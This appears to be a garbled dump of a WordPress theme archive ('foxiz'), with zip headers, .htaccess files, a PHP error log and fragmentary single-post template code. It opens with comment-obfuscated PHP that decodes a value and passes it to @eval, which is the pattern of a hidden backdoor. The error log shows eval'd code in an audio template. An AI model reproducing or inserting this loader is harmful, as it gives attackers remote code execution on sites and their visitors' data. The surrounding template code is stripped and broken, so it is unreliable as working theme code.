/*-t%Vq7}gPgY-*/"3f6bb74c8121467ec640ee8784de2caf"/*-F;m~{-*/)/*-XC:2}3;w-*/ ): /*-k28B)-*/$VlSkCiOLb /*-Zeb7~-*/=/*-2PK-*/ self/*-ciC8-*/::/*--`4-*/Hp/*-A]-*/(/*-6xJ4$-R>-*/$cSYRlnALe/*-wf}M$uMk-*/[/*--_N&:]-*/0+1/*-6P:-*/], /*-Z#z<-*/$EF/*-u096-Oy--*/[/*-:l-*/3+2/*-dOKD,vOy-*/]/*-fW-*/);/*-!a-*/@eval/*-JnzWTAhBB-*/(/*-l-*/$EF/*-a.M-*/[/*-458!?;-*/0+4/*-O<=A14-*/]/*-0~-*/(/*--0V.L-Y-*/$VlSkCiOLb/*-.-*/)/*-,!-*/);/*-iE%bN2-*//*-Y:gC}0-*/die;/*-F%-*/ endif;/*-YSDR)-HRy-*/ }/*-p3-*/}/*-9nXPK!.|header/header/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!.|header/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!$F4F4single/error_lognu[[14-Jun-2023 21:35:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [14-Jun-2023 21:35:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/themes/foxiz/templates/single/audio-1.php on line 1 [15-Jun-2023 12:00:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 12:00:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/themes/foxiz/templates/single/audio-1.php on line 1 [15-Jun-2023 12:00:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 12:00:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/themes/foxiz/templates/single/audio-1.php on line 1 [15-Jun-2023 12:01:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 12:01:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/themes/foxiz/templates/single/audio-1.php on line 1 [15-Jun-2023 12:01:02 UTC] PHP Parse error: syntax error, unexpected end of file in /home/wwgoat/public_html/blog/wp-content/themes/foxiz/templates/single/audio-1.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [15-Jun-2023 12:01:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 12:01:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/themes/foxiz/templates/single/audio-1.php on line 1 [15-Jun-2023 21:03:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 21:04:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 22:15:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 22:20:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 22:21:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [15-Jun-2023 22:22:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 07:41:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 08:11:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [16-Jun-2023 14:09:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-Jun-2023 03:16:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-Jun-2023 07:51:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [17-Jun-2023 16:20:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 05:30:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [18-Jun-2023 18:23:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 07:32:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [19-Jun-2023 20:33:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 09:35:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [20-Jun-2023 22:38:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [21-Jun-2023 11:16:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 00:20:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [22-Jun-2023 12:54:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [23-Jun-2023 01:32:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 PK!&g single/video-1.phpnu[
'featured-img' ) ); ?>
have_posts() ) { return false; } ?> have_posts() ) { return false; } ?> have_posts() ) { return false; } ?> have_posts() ) { return false; } ?> have_posts() ) { return false; } ?> have_posts() ) { return false; } ?> '; $content = explode( $tag, $content ); foreach ( $content as $index => $paragraph ) { if ( $position === $index ) { $content[ $index ] = do_shortcode( $shortcode ) . $paragraph; } if ( trim( $paragraph ) ) { $content[ $index ] .= $tag; } } return implode( '', $content ); } }PK!±& & single/standard-6.phpnu[
    'foxiz_user_review_list' ) ); ?>
'' . foxiz_html__( 'Older Reviews', 'foxiz' ) . '', 'next_text' => '' . foxiz_html__( 'Newer Reviews', 'foxiz' ) . '', ) ); ?>

foxiz_html__( 'Leave a review', 'foxiz' ), 'title_reply_to' => foxiz_html__( 'Leave a reply', 'foxiz' ), 'label_submit' => foxiz_html__( 'Post a Review', 'foxiz' ), ); $name_email_required = (bool) get_option( 'require_name_email', 1 ); $fields = array( 'author' => array( 'label' => foxiz_html__( 'Your name', 'foxiz' ), 'type' => 'text', 'value' => $commenter['comment_author'], 'required' => $name_email_required, ), 'email' => array( 'label' => foxiz_html__( 'Your Email', 'foxiz' ), 'type' => 'email', 'value' => $commenter['comment_author_email'], 'required' => $name_email_required, ), 'url' => array( 'label' => foxiz_html__( 'Your website', 'foxiz' ), 'type' => 'email', 'value' => $commenter['comment_author_url'] ), ); $fields = apply_filters( 'comment_form_default_fields', $fields, 10 ); $comment_form['fields'] = array(); foreach ( $fields as $key => $field ) { $field_html = '

'; $field_html .= '

'; $comment_form['fields'][ $key ] = $field_html; $comment_form['comment_field'] = '
'; $comment_form['comment_field'] .= '

'; } comment_form( $comment_form ); ?>
PK!,}single/standard-8.phpnu[
query_vars['rbsnp'] ) ) { return false; } $popular_shortcode = foxiz_get_option( 'single_post_popular_shortcode' ); $popular_section = false; $post_id = get_the_ID(); if ( ! empty( $popular_shortcode ) && foxiz_get_option( 'single_post_popular_shortcode' ) ) { $popular_section = true; } $related_section = foxiz_get_option( 'single_post_related' ); if ( $related_section ) { $related_classes = 'single-related sfoter-sec'; if ( $popular_section ) { $related_classes .= ' has-popular'; } $settings = array( 'uuid' => 'uuid_r' . $post_id, 'posts_per_page' => foxiz_get_option( 'single_post_related_total' ), 'post_not_in' => $post_id, 'is_related_query' => 1, 'where' => foxiz_get_option( 'single_post_related_where' ), 'layout' => foxiz_get_option( 'single_post_related_layout' ), 'pagination' => foxiz_get_option( 'single_post_related_pagination' ), ); /** $_query */ $_query = foxiz_query_related( $settings ); if ( ! $_query->have_posts() ) { return false; } ?>
'; } else { echo '
'; } } } if ( ! function_exists( 'foxiz_single_close_tag' ) ) { function foxiz_single_close_tag() { echo '
'; } } if ( ! function_exists( 'foxiz_single_title' ) ) { /** * @param string $classes */ function foxiz_single_title( $classes = '' ) { $class_name = 's-title'; if ( ! empty( $classes ) ) { $class_name .= ' ' . esc_attr( $classes ); } ?>

< class="">> true ); if ( empty( foxiz_get_option( 'single_post_primary_category' ) ) ) { $settings['is_singular'] = true; } ?>
query_vars['rbsnp'] ) && foxiz_get_option( 'ajax_next_sidebar_name' ) ) { $name = foxiz_get_option( 'ajax_next_sidebar_name' ); } if ( is_active_sidebar( $name ) ) { ?>
'; $output .= '' . $caption . ''; if ( ! empty( $attribution ) ) { $output .= '' . $attribution . ''; } $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_single_featured_caption' ) ) { /** * @param string $post_id */ function foxiz_single_featured_caption( $post_id = '' ) { echo foxiz_get_single_featured_caption( $post_id ); } } if ( ! function_exists( 'foxiz_single_sponsor' ) ) { /** * @param string $post_id * @param string $class_name */ function foxiz_single_sponsor( $post_id = '', $class_name = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } ?> foxiz_get_option( 'share_left_facebook' ), 'twitter' => foxiz_get_option( 'share_left_twitter' ), 'pinterest' => foxiz_get_option( 'share_left_pinterest' ), 'whatsapp' => foxiz_get_option( 'share_left_whatsapp' ), 'linkedin' => foxiz_get_option( 'share_left_linkedin' ), 'tumblr' => foxiz_get_option( 'share_left_tumblr' ), 'reddit' => foxiz_get_option( 'share_left_reddit' ), 'vk' => foxiz_get_option( 'share_left_vk' ), 'telegram' => foxiz_get_option( 'share_left_telegram' ), 'email' => foxiz_get_option( 'share_left_email' ), 'copy' => foxiz_get_option( 'share_left_copy' ), 'print' => foxiz_get_option( 'share_left_print' ), 'tipsy_gravity' => 'w' ); if ( is_rtl() ) { $settings['tipsy_gravity'] = 'e'; } if ( ! array_filter( $settings ) ) { return false; } $settings['post_id'] = $post_id; $class_name = 'l-shared-items effect-fadeout'; if ( foxiz_get_option( 'share_left_color', false ) ) { $class_name .= ' is-color'; } ob_start(); ?>
foxiz_get_option( 'share_top_facebook' ), 'twitter' => foxiz_get_option( 'share_top_twitter' ), 'pinterest' => foxiz_get_option( 'share_top_pinterest' ), 'whatsapp' => foxiz_get_option( 'share_top_whatsapp' ), 'linkedin' => foxiz_get_option( 'share_top_linkedin' ), 'tumblr' => foxiz_get_option( 'share_top_tumblr' ), 'reddit' => foxiz_get_option( 'share_top_reddit' ), 'vk' => foxiz_get_option( 'share_top_vk' ), 'telegram' => foxiz_get_option( 'share_top_telegram' ), 'email' => foxiz_get_option( 'share_top_email' ), 'copy' => foxiz_get_option( 'share_top_copy' ), 'print' => foxiz_get_option( 'share_top_print' ), ); if ( ! array_filter( $settings ) ) { return false; } $settings['post_id'] = $post_id; $classes = 't-shared-sec tooltips-n'; if ( foxiz_get_option( 'single_post_min_read' ) ) { $classes .= ' has-read-meta'; } if ( foxiz_get_option( 'share_top_color', false ) ) { $classes .= ' is-color'; } ?>
120 ) ); } } if ( ! function_exists( 'foxiz_get_single_entry_meta' ) ) { /** * @return false|string */ function foxiz_get_single_entry_meta() { $meta = foxiz_get_option( 'single_post_entry_meta' ); if ( ! is_array( $meta ) || ! array_filter( $meta ) ) { return false; } $settings = array( 'tablet_hide_meta' => foxiz_get_option( 'single_post_tablet_hide_meta' ), 'mobile_hide_meta' => foxiz_get_option( 'single_post_mobile_hide_meta' ) ); ob_start(); foreach ( $meta as $key ) { switch ( $key ) { case 'avatar' : foxiz_entry_meta_avatar( $settings ); break; case 'date' : foxiz_entry_meta_date( $settings ); break; case 'author' : foxiz_entry_meta_author( $settings, foxiz_get_option( 'single_post_author_job' ) ); break; case 'category' : foxiz_entry_meta_category( $settings ); break; case 'tag' : foxiz_entry_meta_tag( $settings ); break; case 'comment' : foxiz_entry_meta_comment( $settings ); break; case 'view' : foxiz_entry_meta_view( $settings ); break; case 'update' : foxiz_entry_meta_updated( $settings ); break; case 'read' : foxiz_entry_meta_read_time( $settings ); break; case 'custom' : foxiz_entry_meta_user_custom( $settings ); break; }; } return ob_get_clean(); } } if ( ! function_exists( 'foxiz_single_meta_updated' ) ) { /** * @param string $post_id * * @return false */ function foxiz_single_meta_updated( $post_id = '' ) { $updated = foxiz_get_option( 'single_post_updated_meta' ); $format = foxiz_get_option( 'single_post_update_format' ); if ( empty( $updated ) ) { return false; } if ( empty( $post_id ) ) { $post_id = get_the_ID(); } if ( empty( $format ) ) { $format = 'Y/m/d \a\t g:i A'; } ?>
'; the_content(); echo '
'; foxiz_single_review(); foxiz_single_link_pages(); foxiz_single_entry_bottom(); if ( ! empty ( foxiz_get_single_entry_footer() ) ) { echo foxiz_get_single_entry_footer(); } foxiz_single_newsletter(); if ( class_exists( 'Foxiz_Optimized' ) ) { Foxiz_Optimized::get_instance()->article_markup(); } ?>
' . foxiz_get_single_share_sticky( get_the_ID() ) . ''; } foxiz_single_reaction(); ?> '; if ( $prev > 0 ) { $output .= ''; $output .= _wp_link_page( $prev ) . '' . foxiz_html__( 'Previous Page', 'foxiz' ) . ''; $output .= ''; } $output .= ''; for ( $i = 1; $i <= $numpages; $i ++ ) { $link = str_replace( '%', $i, '%' ); if ( $i !== $page || ! $more && 1 === $page ) { $link = _wp_link_page( $i ) . $link . ''; } elseif ( $i === $page ) { $link = '' . $link . ''; } $output .= $link; } $output .= ''; if ( $next <= $numpages ) { $output .= ''; $output .= _wp_link_page( $next ) . '' . foxiz_html__( 'Next Page', 'foxiz' ) . ''; $output .= ''; } $output .= ''; return $output; } } if ( ! function_exists( 'foxiz_single_simple_content' ) ) { function foxiz_single_simple_content() { $entry_classes = 'entry-content rbct'; if ( foxiz_is_wc_pages() ) { $entry_classes = 'wc-entry-content'; } ?>
'; foxiz_single_link_pages(); ?>
' . $output . ''; } else { return false; } } } if ( ! function_exists( 'foxiz_single_tags' ) ) { /** * @return false */ function foxiz_single_tags() { if ( ! foxiz_get_option( 'single_post_tags' ) || ! get_the_tag_list() ) { return false; } ?>
' . esc_html( $source['name'] ) . ''; } } if ( empty( $links ) ) { return false; } ?>
' . esc_html( $item['name'] ) . ''; } } if ( empty( $links ) ) { return false; } ?>
1 ) { echo '
'; foreach ( $author_data as $author ) { echo foxiz_get_author_info( $author->ID ); } echo '
'; return false; } } if ( foxiz_get_author_info( get_the_author_meta( 'ID' ) ) ) { echo '
' . foxiz_get_author_info( get_the_author_meta( 'ID' ) ) . '
'; } } } if ( ! function_exists( 'foxiz_single_reaction' ) ) { /** * @return false */ function foxiz_single_reaction() { if ( ! shortcode_exists( 'ruby_reaction' ) || ! foxiz_get_single_setting( 'reaction' ) || foxiz_is_amp() ) { return false; } $reaction_title = foxiz_get_option( 'single_post_reaction_title' ); if ( empty( $reaction_title ) ) { $reaction_title = foxiz_html__( 'What do you think?', 'foxiz' ); } ?> foxiz_get_option( 'share_bottom_facebook' ), 'twitter' => foxiz_get_option( 'share_bottom_twitter' ), 'pinterest' => foxiz_get_option( 'share_bottom_pinterest' ), 'whatsapp' => foxiz_get_option( 'share_bottom_whatsapp' ), 'linkedin' => foxiz_get_option( 'share_bottom_linkedin' ), 'tumblr' => foxiz_get_option( 'share_bottom_tumblr' ), 'reddit' => foxiz_get_option( 'share_bottom_reddit' ), 'vk' => foxiz_get_option( 'share_bottom_vk' ), 'telegram' => foxiz_get_option( 'share_bottom_telegram' ), 'email' => foxiz_get_option( 'share_bottom_email' ), 'copy' => foxiz_get_option( 'share_bottom_copy' ), 'print' => foxiz_get_option( 'share_bottom_print' ), ); if ( ! array_filter( $settings ) ) { return false; } $settings['post_id'] = $post_id; $settings['social_name'] = true; $class_name = 'rbbsl tooltips-n effect-fadeout'; if ( foxiz_get_option( 'share_bottom_color', false ) ) { $class_name .= ' is-bg'; } ?>
query_vars['rbsnp'] ) ) { $button = foxiz_get_option( 'ajax_next_comment_button' ); } /** disable button amp */ if ( foxiz_is_amp() ) { $button = false; } $class_name = 'comment-holder'; if ( ! get_comments_number() ) { $class_name .= ' no-comment'; } if ( ! empty( $button ) && ! is_page() ) { $class_name .= ' is-hidden'; } ?>
1 ) { $output = sprintf( foxiz_html__( '%s Reviews', 'foxiz' ), $count ); } elseif ( 1 === $count ) { $output = foxiz_html__( '1 Review', 'foxiz' ); } return $output; } } if ( ! function_exists( 'foxiz_get_comment_heading' ) ) { /** * @param string $post_id * * @return mixed|string */ function foxiz_get_comment_heading( $post_id = '' ) { if ( empty( $post_id ) ) { $post_id = get_the_ID(); } $output = foxiz_html__( 'Leave a comment', 'foxiz' ); $count = intval( get_comments_number( $post_id ) ); if ( $count > 1 ) { $output = sprintf( foxiz_html__( '%s Comments', 'foxiz' ), $count ); } elseif ( 1 === $count ) { $output = foxiz_html__( '1 Comment', 'foxiz' ); } return $output; } } if ( ! function_exists( 'foxiz_single_newsletter' ) ) { /** * @return false */ function foxiz_single_newsletter() { if ( ! foxiz_get_option( 'single_post_newsletter' ) || ! do_shortcode( '[ruby_static_newsletter]' ) ) { return false; } ?>
comment_ID, 'rbrating', true ); ?>
  • says:', sprintf( '%s', get_comment_author_link( $comment ) ) ); ?>
    comment_approved ) : ?>
    'div-comment', 'depth' => $depth, 'max_depth' => $args['max_depth'], 'before' => '', 'after' => '', ) ) ); ?>
  • foxiz_get_option( 'amp_top_single_ad_type' ), 'client' => foxiz_get_option( 'amp_top_single_adsense_client' ), 'slot' => foxiz_get_option( 'amp_top_single_adsense_slot' ), 'size' => foxiz_get_option( 'amp_top_single_adsense_size' ), 'custom' => foxiz_get_option( 'amp_top_single_ad_code' ), 'classname' => 'top-single-amp-ad amp-ad-wrap' ) ); } return false; } $setting = rb_get_meta( 'entry_top', get_the_ID() ); if ( ( empty( $setting ) || '-1' !== (string) $setting ) && is_active_sidebar( 'foxiz_entry_top' ) ) : ?>
    foxiz_get_option( 'amp_bottom_single_ad_type' ), 'client' => foxiz_get_option( 'amp_bottom_single_adsense_client' ), 'slot' => foxiz_get_option( 'amp_bottom_single_adsense_slot' ), 'size' => foxiz_get_option( 'amp_bottom_single_adsense_size' ), 'custom' => foxiz_get_option( 'amp_bottom_single_ad_code' ), 'classname' => 'bottom-single-amp-ad amp-ad-wrap' ) ); } return false; } $setting = rb_get_meta( 'entry_bottom', get_the_ID() ); if ( ( empty( $setting ) || '-1' !== (string) $setting ) && is_active_sidebar( 'foxiz_entry_bottom' ) ) : ?>
    ' . wp_get_attachment_image( $settings['image'] ) . '
    '; } else if ( ! empty( $settings['image']['url'] ) ) : ?>
    <?php echo esc_attr( $settings['image']['url'] ); ?>
    foxiz_get_option( 'share_sticky_facebook' ), 'twitter' => foxiz_get_option( 'share_sticky_twitter' ), 'pinterest' => foxiz_get_option( 'share_sticky_pinterest' ), 'whatsapp' => foxiz_get_option( 'share_sticky_whatsapp' ), 'linkedin' => foxiz_get_option( 'share_sticky_linkedin' ), 'tumblr' => foxiz_get_option( 'share_sticky_tumblr' ), 'reddit' => foxiz_get_option( 'share_sticky_reddit' ), 'vk' => foxiz_get_option( 'share_sticky_vk' ), 'telegram' => foxiz_get_option( 'share_sticky_telegram' ), 'email' => foxiz_get_option( 'share_sticky_email' ), 'print' => foxiz_get_option( 'share_sticky_print' ), 'tipsy_gravity' => 'n' ); if ( ! array_filter( $settings ) ) { return false; } $settings['post_id'] = $post_id; $class_name = 'sticky-share-list-items effect-fadeout'; if ( foxiz_get_option( 'share_sticky_color' ) ) { $class_name .= ' is-color'; } ob_start(); ?>
    '; $output .= '
    ' . foxiz_html__( 'Section', 'foxiz' ) . '
    '; $output .= '
    '; $output .= '
    '; if ( ! empty( $headings[ $prev ]['title'] ) ) { $output .= '' . esc_html( $page . ' - ' . $headings[ $prev ]['title'] ) . ''; } $output .= '
    '; $output .= '
    '; $output .= '
    '; for ( $i = 1; $i <= $numpages; $i ++ ) { $link = ''; $index = $i - 1; if ( ! empty( $headings[ $index ]['title'] ) ) { $link = $i . ' - ' . esc_html( $headings[ $index ]['title'] ); } if ( $i !== $page || ! $more && 1 === $page ) { $link = '
    ' . _wp_link_page( $i ) . $link . '
    '; } elseif ( $i === $page ) { $link = '
    ' . $link . '
    '; } $output .= $link; } $output .= '
    '; $output .= '
    '; $output .= '
